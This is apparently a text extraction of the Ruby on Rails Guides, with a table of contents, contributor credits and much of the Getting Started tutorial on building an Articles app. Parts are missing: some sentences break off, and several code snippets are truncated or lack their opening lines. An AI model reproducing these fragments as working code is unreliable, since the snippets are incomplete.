Ruby On Rails Guides v2 - Ruby On Rails
Ruby On Rails Guides v2 - Ruby On Rails
Front Matter
Ruby on Rails Guides (v5.0.0.1)
Credits
Getting Started with Rails Ruby on...
1 Guide Assumptions
2 What is Rails?
3 Creating a New Rails Project
4 Hello, Rails!
5 Getting Up and Running
6 Adding a Second Model
7 Refactoring
8 Deleting Comments
9 Security
10 What's Next?
11 Configuration Gotchas
Active Record Basics Ruby on Rails...
1 What is Active Record?
2 Convention over Configuration in Active Record
3 Creating Active Record Models
4 Overriding the Naming Conventions
5 CRUD: Reading and Writing Data
6 Validations
7 Callbacks
8 Migrations
10 Transaction Callbacks
Active Record Associations Ruby on...
1 Why Associations?
2 The Types of Associations
3 Tips, Tricks, and Warnings
4 Detailed Association Reference
5 Single Table Inheritance
Active Record Query Interface Ruby...
1 Retrieving Objects from the Database
2 Conditions
3 Ordering
4 Selecting Specific Fields
5 Limit and Offset
6 Group
7 Having
8 Overriding Conditions
9 Null Relation
10 Readonly Objects
11 Locking Records for Update
12 Joining Tables
13 Eager Loading Associations
14 Scopes
15 Dynamic Finders
16 Enums
17 Understanding The Method Chaining
18 Find or Build a New Object
19 Finding by SQL
20 Existence of Objects
21 Calculations
22 Running EXPLAIN
Active Model Basics Ruby on Rails...
1 Introduction
Action View Overview Ruby on Rails...
1 What is Action View?
2 Using Action View with Rails
3 Templates, Partials and Layouts
4 Partial Layouts
5 View Paths
6 Overview of helpers provided by Action View
7 Localized Views
Layouts and Rendering in Rails Ruby...
1 Overview: How the Pieces Fit Together
2 Creating Responses
3 Structuring Layouts
Form Helpers Ruby on Rails Guides
1 Dealing with Basic Forms
2 Dealing with Model Objects
3 Making Select Boxes with Ease
4 Using Date and Time Form Helpers
5 Uploading Files
6 Customizing Form Builders
7 Understanding Parameter Naming Conventions
8 Forms to External Resources
4 Extensions to Class
5 Extensions to String
6 Extensions to Numeric
7 Extensions to Integer
8 Extensions to BigDecimal
9 Extensions to Enumerable
10 Extensions to Array
11 Extensions to Hash
12 Extensions to Regexp
13 Extensions to Range
14 Extensions to Date
15 Extensions to DateTime
16 Extensions to Time
17 Extensions to File
18 Extensions to Marshal
19 Extensions to NameError
20 Extensions to LoadError
Rails Internationalization (I18n) API...
1 How I18n in Ruby on Rails Works
2 Setup the Rails Application for Internationalization
3 Internationalization and Localization
4 Overview of the I18n API Features
5 How to Store your Custom Translations
6 Customize your I18n Setup
7 Conclusion
8 Contributing to Rails I18n
9 Resources
10 Authors
11 Footnotes
Action Mailer Basics Ruby on Rails...
1 Introduction
2 Sending Emails
3 Receiving Emails
4 Action Mailer Callbacks
5 Using Action Mailer Helpers
6 Action Mailer Configuration
7 Mailer Testing
8 Intercepting Emails
Active Job Basics Ruby on Rails Guides
1 Introduction
2 The Purpose of Active Job
3 Creating a Job
4 Job Execution
5 Queues
6 Callbacks
7 Action Mailer
8 Internationalization
9 GlobalID
10 Exceptions
11 Job Testing
A Guide to Testing Rails Applications...
1 Why Write Tests for your Rails Applications?
2 Introduction to Testing
3 The Test Database
4 Model Testing
5 Integration Testing
6 Functional Tests for Your Controllers
7 Testing Routes
8 Testing Views
9 Testing Helpers
10 Testing Your Mailers
11 Testing Jobs
12 Additional Testing Resources
Ruby on Rails Security Guide Ruby on...
1 Introduction
2 Sessions
3 Cross-Site Request Forgery (CSRF)
4 Redirection and Files
5 Intranet and Admin Security
6 User Management
7 Injection
8 Unsafe Query Generation
9 Default Headers
10 Environmental Security
11 Additional Resources
Debugging Rails Applications Ruby on...
1 View Helpers for Debugging
2 The Logger
3 Debugging with the byebug gem
4 Debugging with the web-console gem
5 Debugging Memory Leaks
6 Plugins for Debugging
7 References
Configuring Rails Applications Ruby...
1 Locations for Initialization Code
2 Running Code Before Rails
5 Turbolinks
6 Other Resources
The Rails Initialization Process ...
1 Launch!
2 Loading Rails
Autoloading and Reloading Constants ...
1 Introduction
2 Constants Refresher
3 Vocabulary
4 Autoloading Availability
5 autoload_paths
6 Autoloading Algorithms
7 require_dependency
8 Constant Reloading
9 Module#autoload isn't Involved
10 Common Gotchas
Caching with Rails: An Overview Ruby...
1 Basic Caching
2 Cache Stores
3 Cache Keys
4 Conditional GET support
5 References
Active Support Instrumentation Ruby...
1 Introduction to instrumentation
10 Deployment
The Basics of Creating Rails Plugins ...
1 Setup
2 Testing Your Newly Generated Plugin
3 Extending Core Classes
4 Add an "acts_as" Method to Active Record
5 Generators
6 Publishing Your Gem
7 RDoc Documentation
Rails on Rack Ruby on Rails Guides
1 Introduction to Rack
2 Rails on Rack
3 Action Dispatcher Middleware Stack
4 Resources
Creating and Customizing Rails...
1 First Contact
2 Creating Your First Generator
3 Creating Generators with Generators
4 Generators Lookup
5 Customizing Your Workflow
6 Customizing Your Workflow by Changing Generators Templates
7 Adding Generators Fallbacks
8 Application Templates
9 Generator methods
Getting Started with Engines Ruby on...
1 Markdown
2 Prologue
3 Headings
4 API Documentation Guidelines
5 HTML Guides
6 Kindle Guides
Maintenance Policy for Ruby on Rails ...
1 New Features
2 Bug Fixes
3 Security Issues
4 Severe Security Issues
5 Unsupported Release Series
A Guide for Upgrading Ruby on Rails ...
1 General Advice
2 Upgrading from Rails 4.2 to Rails 5.0
3 Upgrading from Rails 4.1 to Rails 4.2
4 Upgrading from Rails 4.0 to Rails 4.1
5 Upgrading from Rails 3.2 to Rails 4.0
6 Upgrading from Rails 3.1 to Rails 3.2
7 Upgrading from Rails 3.0 to Rails 3.1
Ruby on Rails 5.0 Release Notes Ruby...
1 Upgrading to Rails 5.0
2 Major Features
3 Railties
4 Action Pack
5 Action View
6 Action Mailer
7 Active Record
8 Active Model
9 Active Job
10 Active Support
11 Credits
Ruby on Rails 4.2 Release Notes Ruby...
1 Upgrading to Rails 4.2
2 Major Features
3 Incompatibilities
4 Railties
5 Action Pack
6 Action View
7 Action Mailer
8 Active Record
9 Active Model
10 Active Support
11 Credits
Ruby on Rails 4.1 Release Notes Ruby...
1 Upgrading to Rails 4.1
2 Major Features
3 Railties
4 Action Pack
5 Action Mailer
6 Active Record
7 Active Model
8 Active Support
9 Credits
Ruby on Rails 4.0 Release Notes Ruby...
4 Railties
5 Action Pack
6 Active Record
7 Active Model
8 Active Resource
9 Active Support
10 Credits
Ruby on Rails 3.0 Release Notes Ruby...
1 Upgrading to Rails 3
2 Creating a Rails 3.0 application
3 Rails Architectural Changes
4 Documentation
5 Internationalization
6 Railties
7 Action Pack
8 Active Model
9 Active Record
10 Active Resource
11 Active Support
12 Action Mailer
13 Credits
Ruby on Rails 2.3 Release Notes Ruby...
1 Application Architecture
2 Documentation
3 Ruby 1.9.1 Support
4 Active Record
5 Action Controller
6 Action View
7 Active Support
8 Railties
9 Deprecated
10 Credits
Ruby on Rails 2.2 Release Notes Ruby...
1 Infrastructure
2 Documentation
3 Better integration with HTTP : Out of the box ETag support
4 Thread Safety
5 Active Record
6 Action Controller
7 Action View
8 Action Mailer
9 Active Support
10 Railties
11 Deprecated
12 Credits
Front Matter
Credits
We'd like to thank the following people for their tireless contributions to
this project.
Vijay Dev
Vijayakumar, found as Vijay Dev on the web, is a web applications
developer and an open source enthusiast who lives in Chennai, India. He
started using Rails in 2009 and began actively contributing to Rails
documentation in late 2010. He tweets a lot and also blogs.
Xavier Noria
Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core
team member and enjoys combining his passion for Rails and his past life
as a proofreader of math textbooks. Xavier is currently an independent
Ruby on Rails consultant. Oh, he also tweets and can be found everywhere
as "fxn".
Rails Guides Designers
Jason Zimdars
Jason Zimdars is an experienced creative director and web designer who
has lead UI and UX design for numerous websites and web applications.
You can see more of his design and writing at Thinkcage.com or follow
him on Twitter.
Rails Guides Authors
Ryan Bigg
Ryan Bigg works as a Rails developer at Marketplacer and has been
working with Rails since 2006. He's the author of Multi Tenancy With
Rails and co-author of Rails 4 in Action. He's written many gems which
can be seen on his GitHub page and he also tweets prolifically as
@ryanbigg.
Frederick Cheung
Frederick Cheung is Chief Wizard at Texperts where he has been using
Rails since 2006. He is based in Cambridge (UK) and when not consuming
fine ales he blogs at spacevatican.org.
Tore Darell
Tore Darell is an independent developer based in Menton, France who
specialises in cruft-free web applications using Ruby, Rails and
unobtrusive JavaScript. You can follow him on Twitter.
Jeff Dean
Jeff Dean is a software engineer with Pivotal Labs.
Mike Gunderloy
Mike Gunderloy is a consultant with ActionRails. He brings 25 years of
experience in a variety of languages to bear on his current work with Rails.
His near-daily links and other blogging can be found at A Fresh Cup and
he twitters too much.
Mikel Lindsaar
Mikel Lindsaar has been working with Rails since 2006 and is the author
of the Ruby Mail gem and core contributor (he helped re-write Action
Mailer's API). Mikel is the founder of RubyX, has a blog and tweets.
Cssio Marques
Cssio Marques is a Brazilian software developer working with different
programming languages such as Ruby, JavaScript, CPP and Java, as an
independent consultant. He blogs at /* CODIFICANDO */, which is
mainly written in Portuguese, but will soon get a new section for posts
James Miller
James Miller is a software developer for JK Tech in San Diego, CA. You
can find James on GitHub, Gmail, Twitter, and Freenode as "bensie".
Pratik Naik
Pratik Naik is a Ruby on Rails developer at Basecamp and also a member
of the Rails core team. He maintains a blog at has_many :bugs, :through
=> :rails and has a semi-active twitter account.
Emilio Tagua
Emilio Tagua a.k.a. miloops is an Argentinian entrepreneur,
developer, open source contributor and Rails evangelist. Cofounder of
Eventioz. He has been using Rails since 2006 and contributing since early
2008. Can be found at gmail, twitter, freenode, everywhere as "miloops".
Heiko Webers
Heiko Webers is the founder of bauland42, a German web application
security consulting and development company focused on Ruby on Rails.
He blogs at the Ruby on Rails Security Project. After 10 years of desktop
application development, Heiko has rarely looked back.
Akshay Surve
Akshay Surve is the Founder at DeltaX, hackathon specialist, a midnight
code junkie and occasionally writes prose. You can connect with him on
Twitter, Linkedin, Personal Blog or Quora.
This work is licensed under a Creative Commons Attribution-ShareAlike
4.0 International License
"Rails", "Ruby on Rails", and the Rails logo are trademarks of David
Heinemeier Hansson. All rights reserved.
1 Guide Assumptions
This guide is designed for beginners who want to get started with a Rails
application from scratch. It does not assume that you have any prior
experience with Rails. However, to get the most out of it, you need to have
some prerequisites installed:
The Ruby language version 2.2.2 or newer.
Right version of Development Kit, if you are using Windows.
The RubyGems packaging system, which is installed with Ruby by
default. To learn more about RubyGems, please read the RubyGems
Guides.
A working installation of the SQLite3 Database.
Rails is a web application framework running on the Ruby programming
language. If you have no prior experience with Ruby, you will find a very
steep learning curve diving straight into Rails. There are several curated
lists of online resources for learning Ruby:
Official Ruby Programming Language website
List of Free Programming Books
Be aware that some resources, while still excellent, cover versions of Ruby
as old as 1.6, and commonly 1.8, and will not include some syntax that you
will see in day-to-day development with Rails.
2 What is Rails?
Rails is a web application development framework written in the Ruby
language. It is designed to make programming web applications easier by
making assumptions about what every developer needs to get started. It
allows you to write less code while accomplishing more than many other
languages and frameworks. Experienced Rails developers also report that
it makes web application development more fun.
Rails is opinionated software. It makes the assumption that there is a
"best" way to do things, and it's designed to encourage that way - and in
some cases to discourage alternatives. If you learn "The Rails Way" you'll
probably discover a tremendous increase in productivity. If you persist in
bringing old habits from other languages to your Rails development, and
trying to use patterns you learned elsewhere, you may have a less happy
experience.
The Rails philosophy includes two major guiding principles:
Don't Repeat Yourself: DRY is a principle of software development
which states that "Every piece of knowledge must have a single,
unambiguous, authoritative representation within a system." By not
writing the same information over and over again, our code is more
maintainable, more extensible, and less buggy.
Convention Over Configuration: Rails has opinions about the best
way to do many things in a web application, and defaults to this set of
conventions, rather than require that you specify every minutiae
through endless configuration files.
A number of tools exist to help you quickly install Ruby and Ruby on
Rails on your system. Windows users can use Rails Installer, while Mac
OS X users can use Tokaido. For more installation methods for most
Operating Systems take a look at ruby-lang.org.
Many popular UNIX-like OSes ship with an acceptable version of
SQLite3. On Windows, if you installed Rails through Rails Installer, you
already have SQLite installed. Others can find installation instructions at
the SQLite3 website. Verify that it is correctly installed and in your
PATH:
$ sqlite3 --version
To verify that you have everything installed correctly, you should be able
to run the following:
$ rails --version
This will create a Rails application called Blog in a blog directory and
install the gem dependencies that are already mentioned in Gemfile using
bundle install.
You can see all of the command line options that the Rails application
builder accepts by running rails new -h.
After you create the blog application, switch to its folder:
$ cd blog
The blog directory has a number of auto-generated files and folders that
make up the structure of a Rails application. Most of the work in this
tutorial will happen in the app folder, but here's a basic rundown on the
function of each of the files and folders that Rails created by default:
File/Folder
Purpose
Contains the controllers, models, views, helpers, mailers
app/
and assets for your application. You'll focus on this folder
for the remainder of this guide.
Contains the rails script that starts your app and can
bin/
contain other scripts you use to setup, update, deploy or
run your application.
Configure your application's routes, database, and more.
config/
This is covered in more detail in Configuring Rails
Applications.
Rack configuration for Rack based servers used to start the
config.ru
application.
Contains your current database schema, as well as the
db/
database migrations.
These files allow you to specify what gem dependencies
Gemfile
are needed for your Rails application. These files are used
Gemfile.lock by the Bundler gem. For more information about Bundler,
see the Bundler website.
lib/
Extended modules for your application.
log/
Application log files.
4 Hello, Rails!
To begin with, let's get some text up on screen quickly. To do this, you
need to get your Rails application server running.
4.1 Starting up the Web Server
You actually have a functional Rails application already. To see it, you
need to start a web server on your development machine. You can do this
by running the following in the blog directory:
$ bin/rails server
If you are using Windows, you have to pass the scripts under the bin
folder directly to the Ruby interpreter e.g. ruby bin\rails server.
Compiling CoffeeScript and JavaScript asset compression requires you
have a JavaScript runtime available on your system, in the absence of a
runtime you will see an execjs error during asset compilation. Usually
Mac OS X and Windows come with a JavaScript runtime installed. Rails
adds the therubyracer gem to the generated Gemfile in a commented line
for new apps and you can uncomment if you need it. therubyrhino is the
recommended runtime for JRuby users and is added by default to the
Gemfile in apps generated under JRuby. You can investigate all the
supported runtimes at ExecJS.
This will fire up Puma, a web server distributed with Rails by default. To
see your application in action, open a browser window and navigate to
http://localhost:3000. You should see the Rails default information page:
To stop the web server, hit Ctrl+C in the terminal window where it's
running. To verify the server has stopped you should see your command
prompt cursor again. For most UNIX-like systems including Mac OS X
this will be a dollar sign $. In development mode, Rails does not generally
require you to restart the server; changes you make in files will be
automatically picked up by the server.
The "Welcome aboard" page is the smoke test for a new Rails application:
it makes sure that you have your software configured correctly enough to
serve a page.
4.2 Say "Hello", Rails
To get Rails saying "Hello", you need to create at minimum a controller
and a view.
A controller's purpose is to receive specific requests for the application.
Routing decides which controller receives which requests. Often, there is
more than one route to each controller, and different routes can be served
by different actions. Each action's purpose is to collect information to
provide it to a view.
A view's purpose is to display this information in a human readable
format. An important distinction to make is that it is the controller, not the
view, where information is collected. The view should just display that
information. By default, view templates are written in a language called
eRuby (Embedded Ruby) which is processed by the request cycle in Rails
before being sent to the user.
To create a new controller, you will need to run the "controller" generator
and tell it you want a controller called "Welcome" with an action called
"index", just like this:
$ bin/rails generate controller Welcome index
create test/controllers/welcome_controller_test.rb
invoke helper
create app/helpers/welcome_helper.rb
invoke assets
invoke coffee
create app/assets/javascripts/welcome.coffee
invoke scss
create app/assets/stylesheets/welcome.scss
# For details on the DSL available within this file, see http:
end
This is your application's routing file which holds entries in a special DSL
(domain-specific language) that tells Rails how to connect incoming
requests to controllers and actions. Edit this file by adding the line of code
root 'welcome#index'. It should look something like the following:
Rails.application.routes.draw do
get 'welcome/index'
root 'welcome#index'
end
If you run bin/rails routes, you'll see that it has defined routes for all
the standard RESTful actions. The meaning of the prefix column (and
other columns) will be seen later, but for now notice that Rails has inferred
the singular form article and makes meaningful use of the distinction.
$ bin/rails routes
Prefix Verb URI Pattern Controller#Acti
articles GET /articles(.:format) articles#index
POST /articles(.:format) articles#create
new_article GET /articles/new(.:format) articles#new
edit_article GET /articles/:id/edit(.:format) articles#edit
article GET /articles/:id(.:format) articles#show
PATCH /articles/:id(.:format) articles#update
PUT /articles/:id(.:format) articles#update
DELETE /articles/:id(.:format) articles#destro
root GET / welcome#index
In the next section, you will add the ability to create new articles in your
application and be able to view them. This is the "C" and the "R" from
CRUD: create and read. The form for doing this will look like this:
It will look a little basic for now, but that's ok. We'll look at improving the
styling for it afterwards.
5.1 Laying down the ground work
Firstly, you need a place within the application to create a new article. A
great place for that would be at /articles/new. With the route already
defined, requests can now be made to /articles/new in the application.
Navigate to http://localhost:3000/articles/new and you'll see a routing
error:
This error occurs because the route needs to have a controller defined in
order to serve the request. The solution to this particular problem is
simple: create a controller called ArticlesController. You can do this by
running this command:
$ bin/rails generate controller Articles
controller:
class ArticlesController < ApplicationController
end
This error indicates that Rails cannot find the new action inside the
ArticlesController that you just generated. This is because when
controllers are generated in Rails they are empty by default, unless you tell
it your desired actions during the generation process.
To manually define an action inside a controller, all you need to do is to
define a new method inside the controller. Open
app/controllers/articles_controller.rb and inside the
ArticlesController class, define the new method so that your controller
now looks like this:
class ArticlesController < ApplicationController
def new
end
end
You're getting this error now because Rails expects plain actions like this
one to have views associated with them to display their information. With
no view available, Rails will raise an exception.
In the above image, the bottom line has been truncated. Let's see what the
full error message looks like:
ArticlesController#new is missing a template for this request format
and variant. request.formats: ["text/html"] request.variant: [] NOTE!
For XHR/Ajax or API requests, this action would normally respond
with 204 No Content: an empty white screen. Since you're loading it
in a web browser, we assume that you expected to actually render a
template, not nothing, so we're showing an error to be extra-clear.
If you expect 204 No Content, carry on. That's what you'll get from
an XHR or API request. Give it a shot.
That's quite a lot of text! Let's quickly go through and understand what
each part of it means.
The first part identifies which template is missing. In this case, it's the
articles/new template. Rails will first look for this template. If not found,
then it will attempt to load a template called application/new. It looks for
one here because the ArticlesController inherits from
ApplicationController.
The next part of the message contains a hash. The :locale key in this hash
simply indicates which spoken language template should be retrieved. By
default, this is the English - or "en" - template. The next key, :formats
specifies the format of template to be served in response. The default
format is :html, and so Rails is looking for an HTML template. The final
key, :handlers, is telling us what template handlers could be used to
render our template. :erb is most commonly used for HTML templates,
:builder is used for XML templates, and :coffee uses CoffeeScript to
build JavaScript templates.
If you refresh the page now, you'll see the exact same form as in the
example. Building forms in Rails is really just that easy!
When you call form_for, you pass it an identifying object for this form. In
this case, it's the symbol :article. This tells the form_for helper what
this form is for. Inside the block for this method, the FormBuilder object represented by f - is used to build two labels and two text fields, one each
for the title and text of an article. Finally, a call to submit on the f object
will create a submit button for the form.
There's one problem with this form though. If you inspect the HTML that
is generated, by viewing the source of the page, you will see that the
action attribute for the form is pointing at /articles/new. This is a
problem because this route goes to the very page that you're on right at the
moment, and that route should only be used to display the form for a new
article.
The form needs to use a different URL in order to go somewhere else. This
can be done quite simply with the :url option of form_for. Typically in
Rails, the action that is used for new form submissions like this is called
"create", and so the form should be pointed to that action.
$ bin/rails routes
Prefix Verb URI Pattern Controller#Acti
articles GET /articles(.:format) articles#index
POST /articles(.:format) articles#create
new_article GET /articles/new(.:format) articles#new
edit_article GET /articles/:id/edit(.:format) articles#edit
article GET /articles/:id(.:format) articles#show
PATCH /articles/:id(.:format) articles#update
PUT /articles/:id(.:format) articles#update
DELETE /articles/:id(.:format) articles#destro
root GET / welcome#index
The articles_path helper tells Rails to point the form to the URI Pattern
associated with the articles prefix; and the form will (by default) send a
POST request to that route. This is associated with the create action of the
current controller, the ArticlesController.
With the form and its associated route defined, you will be able to fill in
the form and then click the submit button to begin the process of creating a
new article, so go ahead and do that. When you submit the form, you
should see a familiar error:
You now need to create the create action within the ArticlesController
for this to work.
5.3 Creating articles
To make the "Unknown action" go away, you can define a create action
within the ArticlesController class in
app/controllers/articles_controller.rb, underneath the new action,
as shown:
class ArticlesController < ApplicationController
def new
end
def create
end
end
If you re-submit the form now, you may not see any change on the page.
Don't worry! This is because Rails by default returns 204 No Content
response for an action if we don't specify what the response should be. We
just added the create action but didn't specify anything about how the
response should be. In this case, the create action should save our new
article to the database.
When a form is submitted, the fields of the form are sent to Rails as
parameters. These parameters can then be referenced inside the controller
actions, typically to perform a particular task. To see what these
parameters look like, change the create action to this:
def create
render plain: params[:article].inspect
end
The render method here is taking a very simple hash with a key of :plain
and value of params[:article].inspect. The params method is the
object which represents the parameters (or fields) coming in from the
form. The params method returns an ActionController::Parameters
object, which allows you to access the keys of the hash using either strings
or symbols. In this situation, the only parameters that matter are the ones
from the form.
Ensure you have a firm grasp of the params method, as you'll use it fairly
regularly. Let's consider an example URL: http://www.example.com/?
username=dhh&[email protected]. In this URL,
params[:username] would equal "dhh" and params[:email] would equal
"[email protected]".
If you re-submit the form one more time you'll now no longer get the
missing template error. Instead, you'll see something that looks like the
following:
This action is now displaying the parameters for the article that are coming
in from the form. However, this isn't really all that helpful. Yes, you can
see the parameters but nothing in particular is being done with them.
5.4 Creating the Article model
Models in Rails use a singular name, and their corresponding database
tables use a plural name. Rails provides a generator for creating models,
which most Rails developers tend to use when creating new models. To
def change
create_table :articles do |t|
t.string :title
t.text :text
t.timestamps
end
end
end
The above migration creates a method named change which will be called
when you run this migration. The action defined in this method is also
reversible, which means Rails knows how to reverse the change made by
this migration, in case you want to reverse it later. When you run this
migration it will create an articles table with one string column and a
text column. It also creates two timestamp fields to allow Rails to track
article creation and update times.
For more information about migrations, refer to Rails Database
Migrations.
At this point, you can use a bin/rails command to run the migration:
$ bin/rails db:migrate
Rails will execute this migration command and tell you it created the
Articles table.
Here's what's going on: every Rails model can be initialized with its
respective attributes, which are automatically mapped to the respective
database columns. In the first line we do just that (remember that
params[:article] contains the attributes we're interested in). Then,
@article.save is responsible for saving the model in the database.
Finally, we redirect the user to the show action, which we'll define later.
You might be wondering why the A in Article.new is capitalized above,
whereas most other references to articles in this guide have used
lowercase. In this context, we are referring to the class named Article that
is defined in app/models/article.rb. Class names in Ruby must begin
with a capital letter.
As we'll see later, @article.save returns a boolean indicating whether the
article was saved or not.
Rails has several security features that help you write secure applications,
and you're running into one of them now. This one is called strong
parameters, which requires us to tell Rails exactly which parameters are
allowed into our controller actions.
Why do you have to bother? The ability to grab and automatically assign
all controller parameters to your model in one shot makes the
programmer's job easier, but this convenience also allows malicious use.
What if a request to the server was crafted to look like a new article form
submit but also included extra fields with values that violated your
application's integrity? They would be 'mass assigned' into your model and
then into the database along with the good stuff - potentially breaking your
application or worse.
We have to whitelist our controller parameters to prevent wrongful mass
assignment. In this case, we want to both allow and require the title and
text parameters for valid use of create. The syntax for this introduces
require and permit. The change will involve one line in the create
action:
@article = Article.new(params.require(:article).permit(:title,
This is often factored out into its own method so it can be reused by
multiple actions in the same controller, for example create and update.
Above and beyond mass assignment issues, the method is often made
private to make sure it can't be called outside its intended context. Here is
the result:
def create
@article = Article.new(article_params)
@article.save
redirect_to @article
end
private
def article_params
params.require(:article).permit(:title, :text)
end
For more information, refer to the reference above and this blog article
about Strong Parameters.
5.7 Showing Articles
If you submit the form again now, Rails will complain about not finding
the show action. That's not very useful though, so let's add the show action
before proceeding.
As we have seen in the output of bin/rails routes, the route for show
action is as follows:
article GET /articles/:id(.:format) articles#show
The special syntax :id tells rails that this route expects an :id parameter,
which in our case will be the id of the article.
<strong>Text:</strong>
<%= @article.text %>
</p>
With this change, you should finally be able to create new articles. Visit
http://localhost:3000/articles/new and give it a try!
Add the corresponding index action for that route inside the
ArticlesController in the app/controllers/articles_controller.rb
file. When we write an index action, the usual practice is to place it as the
first method in the controller. Let's do it:
class ArticlesController < ApplicationController
def index
@articles = Article.all
end
def show
@article = Article.find(params[:id])
end
def new
end
And then finally, add the view for this action, located at
app/views/articles/index.html.erb:
<h1>Listing articles</h1>
<table>
<tr>
<th>Title</th>
<th>Text</th>
</tr>
<% @articles.each do |article| %>
<tr>
<td><%= article.title %></td>
<td><%= article.text %></td>
<td><%= link_to 'Show', article_path(article) %></td>
</tr>
<% end %>
</table>
This link will allow you to bring up the form that lets you create a new
article.
Now, add another link in app/views/articles/new.html.erb, underneath
the form, to go back to the index action:
<%= form_for :article, url: articles_path do |f| %>
...
<% end %>
<%= link_to 'Back', articles_path %>
If you want to link to an action in the same controller, you don't need to
specify the :controller option, as Rails will use the current controller by
default.
In development mode (which is what you're working in by default), Rails
reloads your application with every browser request, so there's no need to
stop and restart the web server when a change is made.
5.10 Adding Some Validation
The model file, app/models/article.rb is about as simple as it can get:
class Article < ApplicationRecord
end
There isn't much to this file - but note that the Article class inherits from
ApplicationRecord. ApplicationRecord inherits from
ActiveRecord::Base which supplies a great deal of functionality to your
Rails models for free, including basic database CRUD (Create, Read,
Update, Destroy) operations, data validation, as well as sophisticated
search support and the ability to relate multiple models to one another.
Rails includes methods to help you validate the data that you send to
models. Open the app/models/article.rb file and edit it:
class Article < ApplicationRecord
validates :title, presence: true,
length: { minimum: 5 }
end
These changes will ensure that all articles have a title that is at least five
characters long. Rails can validate a variety of conditions in a model,
including the presence or uniqueness of columns, their format, and the
existence of associated objects. Validations are covered in detail in Active
Record Validations.
With the validation now in place, when you call @article.save on an
invalid article, it will return false. If you open
app/controllers/articles_controller.rb again, you'll notice that we
don't check the result of calling @article.save inside the create action.
If @article.save fails in this situation, we need to show the form back to
the user. To do this, change the new and create actions inside
app/controllers/articles_controller.rb to these:
def new
@article = Article.new
end
def create
@article = Article.new(article_params)
if @article.save
redirect_to @article
else
render 'new'
end
end
private
def article_params
params.require(:article).permit(:title, :text)
end
The new action is now creating a new instance variable called @article,
and you'll see why that is in just a few moments.
Notice that inside the create action we use render instead of
redirect_to when save returns false. The render method is used so that
the @article object is passed back to the new template when it is rendered.
This rendering is done within the same request as the form submission,
whereas the redirect_to will tell the browser to issue another request.
A few things are going on. We check if there are any errors with
@article.errors.any?, and in that case we show a list of all errors with
@article.errors.full_messages.
pluralize is a rails helper that takes a number and a string as its
shown:
def new
@article = Article.new
end
def edit
@article = Article.find(params[:id])
end
def create
@article = Article.new(article_params)
if @article.save
redirect_to @article
else
render 'new'
end
end
The view will contain a form similar to the one we used when creating
new articles. Create a file called app/views/articles/edit.html.erb
and make it look as follows:
<h1>Editing article</h1>
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
</p>
<p>
<%= f.label :text %><br>
<%= f.text_area :text %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>
<%= link_to 'Back', articles_path %>
This time we point the form to the update action, which is not defined yet
but will be very soon.
The method: :patch option tells Rails that we want this form to be
submitted via the PATCH HTTP method which is the HTTP method you're
expected to use to update resources according to the REST protocol.
The first parameter of form_for can be an object, say, @article which
would cause the helper to fill in the form with the fields of the object.
Passing in a symbol (:article) with the same name as the instance
variable (@article) also automagically leads to the same behavior. This is
what is happening here. More details can be found in form_for
documentation.
Next, we need to create the update action in
app/controllers/articles_controller.rb. Add it between the create
action and the private method:
def create
@article = Article.new(article_params)
if @article.save
redirect_to @article
else
render 'new'
end
end
def update
@article = Article.find(params[:id])
if @article.update(article_params)
redirect_to @article
else
render 'edit'
end
end
private
def article_params
params.require(:article).permit(:title, :text)
end
The new method, update, is used when you want to update a record that
already exists, and it accepts a hash containing the attributes that you want
to update. As before, if there was an error updating the article we want to
show the form back to the user.
We reuse the article_params method that we defined earlier for the
create action.
It is not necessary to pass all the attributes to update. For example, if
@article.update(title: 'A new title') was called, Rails would only
update the title attribute, leaving all other attributes untouched.
Finally, we want to show a link to the edit action in the list of all the
articles, so let's add that now to app/views/articles/index.html.erb to
</div>
<% end %>
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
</p>
<p>
<%= f.label :text %><br>
<%= f.text_area :text %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>
Everything except for the form_for declaration remained the same. The
reason we can use this shorter, simpler form_for declaration to stand in for
either of the other forms is that @article is a resource corresponding to a
full set of RESTful routes, and Rails is able to infer which URI and
method to use. For more information about this use of form_for, see
Resource-oriented style.
Now, let's update the app/views/articles/new.html.erb view to use this
new partial, rewriting it completely:
<h1>New article</h1>
<%= render 'form' %>
<%= link_to 'Back', articles_path %>
The delete routing method should be used for routes that destroy
resources. If this was left as a typical get route, it could be possible for
people to craft malicious URLs like this:
We use the delete method for destroying resources, and this route is
mapped to the destroy action inside
app/controllers/articles_controller.rb, which doesn't exist yet. The
destroy method is generally the last CRUD action in the controller, and
like the other public CRUD actions, it must be placed before any private
or protected methods. Let's add it:
def destroy
@article = Article.find(params[:id])
@article.destroy
redirect_to articles_path
end
this:
class ArticlesController < ApplicationController
def index
@articles = Article.all
end
def show
@article = Article.find(params[:id])
end
def new
@article = Article.new
end
def edit
@article = Article.find(params[:id])
end
def create
@article = Article.new(article_params)
if @article.save
redirect_to @article
else
render 'new'
end
end
def update
@article = Article.find(params[:id])
if @article.update(article_params)
redirect_to @article
else
render 'edit'
end
end
def destroy
@article = Article.find(params[:id])
@article.destroy
redirect_to articles_path
end
private
def article_params
params.require(:article).permit(:title, :text)
end
end
You can call destroy on Active Record objects when you want to delete
them from the database. Note that we don't need to add a view for this
action since we're redirecting to the index action.
Finally, add a 'Destroy' link to your index action template
(app/views/articles/index.html.erb) to wrap everything together.
<h1>Listing Articles</h1>
<%= link_to 'New article', new_article_path %>
<table>
<tr>
<th>Title</th>
<th>Text</th>
<th colspan="3"></th>
</tr>
Here we're using link_to in a different way. We pass the named route as
the second argument, and then the options as another argument. The
method: :delete and data: { confirm: 'Are you sure?' } options
are used as HTML5 attributes so that when the link is clicked, Rails will
first show a confirm dialog to the user, and then submit the link with
method delete. This is done via the JavaScript file jquery_ujs which is
automatically included in your application's layout
(app/views/layouts/application.html.erb) when you generated the
application. Without this file, the confirmation dialog box won't appear.
Purpose
Migration to create the
comments table in
db/migrate/20140120201010_create_comments.rb your database (your
name will include a
different timestamp)
app/models/comment.rb
The Comment model
Testing harness for the
test/models/comment_test.rb
comment model
Sample comments for
test/fixtures/comments.yml
use in testing
First, take a look at app/models/comment.rb:
class Comment < ApplicationRecord
belongs_to :article
end
This is very similar to the Article model that you saw earlier. The
difference is the line belongs_to :article, which sets up an Active
